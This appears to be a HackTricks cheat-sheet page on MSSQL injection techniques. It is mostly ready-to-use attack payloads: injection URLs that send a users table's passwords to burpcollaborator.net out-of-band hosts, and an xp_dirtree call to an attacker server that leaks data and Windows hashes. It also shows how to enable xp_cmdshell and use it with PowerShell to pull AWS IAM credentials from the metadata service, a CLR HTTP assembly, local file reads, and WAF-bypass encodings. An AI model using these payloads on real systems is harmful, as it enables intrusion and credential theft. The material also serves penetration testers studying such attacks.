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MSSQL Injection
Active Directory enumeration
It may be possible to enumerate domain users via SQL injection inside a MSSQL server using the following MSSQL functions:
master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')): If you know the name of the domain (MEGACORP in this example) this function will return the SID of the user Administrator in hex format. This will look like0x01050000000[...]0000f401, note how the last 4 bytes are the number 500 in big endian format, which is the common ID of the user administrator.
This function will allow you to know the ID of the domain (all the bytes except of the last 4).SUSER_SNAME(0x01050000000[...]0000e803): This function will return the username of the ID indicated (if any), in this case 0000e803 in big endian == 1000 (usually this is the ID of the first regular user ID created). Then you can imagine that you can bruteforce user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Alternative Error-Based vectors
(From here) Error-based SQL injections typically resemble constructions such as «+AND+1=@@version–» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
Some examples of such functions:
SUSER_NAME()USER_NAME()PERMISSIONS()DB_NAME()FILE_NAME()TYPE_NAME()COL_NAME()
Example use of function USER_NAME():
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_trace_gettabe, fn_xe_file_target_read_file, fn_get_audit_file (from here)
fn_xe_file_target_read_file() example:
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
Permissions: Requires VIEW SERVER STATE permission on the server.
fn_get_audit_file() example:
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
Permissions: Requires the CONTROL SERVER permission.
fn_trace_gettable() example:
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
Permissions: Requires the CONTROL SERVER permission.
Information taken from https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL
Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry.
One technique that keeps coming up is the usage of the undocumented stored procedure xp_dirtree that allows you to list the directories in a folder. This stored procedure supports UNC paths, which can be abused to leak Windows credentials over the network or extract data using DNS requests.
If you are able to execute operating system commands, then you could invoke Powershell to make a curl (Invoke-WebRequest) request. You could do this via the hacker favorite xp_cmdshell as well.
Alternatively, you could also use a User Defined Function in MSSQL to load a DLL and use the dll to make the request from inside MSSQL directly.
Let’s look at the above techniques in a little more detail.
Limited SSRF using master..xp_dirtree (and other file stored procedures)
The most common method to make a network call you will come across using MSSQL is the usage of the Stored Procedure xp_dirtree, which weirdly is undocumented by Microsoft, which caused it to be documented by other folks on the Internet. This method has been used in multiple examples of Out of Band Data exfiltration posts on the Internet.
Essentially,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
Much like MySQL’s LOAD_FILE, you can use xp_dirtree to make a network request to only TCP port 445. You cannot control the port number, but can read information from network shares. Addtionally, much like any UNC path access, Windows hashes will be sent over to the network that can be captured and replayed for further exploitation.
PS: This does not work on Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) running on a Windows Server 2016 Datacenter in the default config.
There are other stored procedures like master..xp_fileexist etc. as well that can be used for similar results.
master..xp_cmdshell
The extended stored procedure xp_cmdshell spawns a Windows command shell and executes the string passed to it, returning any rows of text. This command is run as the SQL Server service account.
xp_cmdshell is disabled by default. You can enable it using the SQL Server Configuration Option. Here’s how
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
exec master..xp_cmdshell 'whoami'
GO
You could use something like PowerCat, download the Windows port of netcat/ncat, use raw TCP Client for arbitrary ports, or simply invoke Powershell’s Invoke-WebRequest to make HTTP requests to perform Server Side queries.
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
exec ('master..xp_cmdshell ''powershell -exec -bypass -c ""(iwr '+@url+').Content""''');
GO
You can additionally pass other headers and change the HTTP method as well to access data on services that need a POST or PUT instead of a GET like in the case of IMDSv2 for AWS or a special header like Metadata: true in the case of Azure or the Metadata-Flavor: Google for GCP.
MSSQL User Defined Function - SQLHttp
It is fairly straightforward to write a CLR UDF (Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL) and load it within MSSQL for custom functions. This, however, requires dbo access so may not work unless the web application connection to the database as sa or an Administrator role.
This Github repo has the Visual Studio project and the installation instructions to load the binary into MSSQL as a CLR assembly and then invoke HTTP GET requests from within MSSQL.
The http.cs code uses the WebClient class to make a GET request and fetch the content as specified
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
In the installation instructions, run the following before the CREATE ASSEMBLY query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server (you can see the list using select * from sys.trusted_assemblies;)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Once the assembly is added and the function created, we can run the following to make our HTTP requests
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Quick exploitation: Retrieve an entire table in one query
(From here) There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it.
The query to retrieve the schema, tables and columns from the current database:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON.
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Reading local files
(From here) An example of retrieving a local file C:\Windows\win.ini using the function OpenRowset():
https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:\Windows\win.ini’,SINGLE_CLOB)+R(x)),null,null
Error-based vector:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
Retrieving the current query
(From here) The current SQL query being executed can be retrieved from access sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
Permissions: If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session.
Little tricks for WAF bypasses
(From here) Non-standard whitespace characters: %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N seperator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
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Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
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Share your hacking tricks submitting PRs to the hacktricks github repo.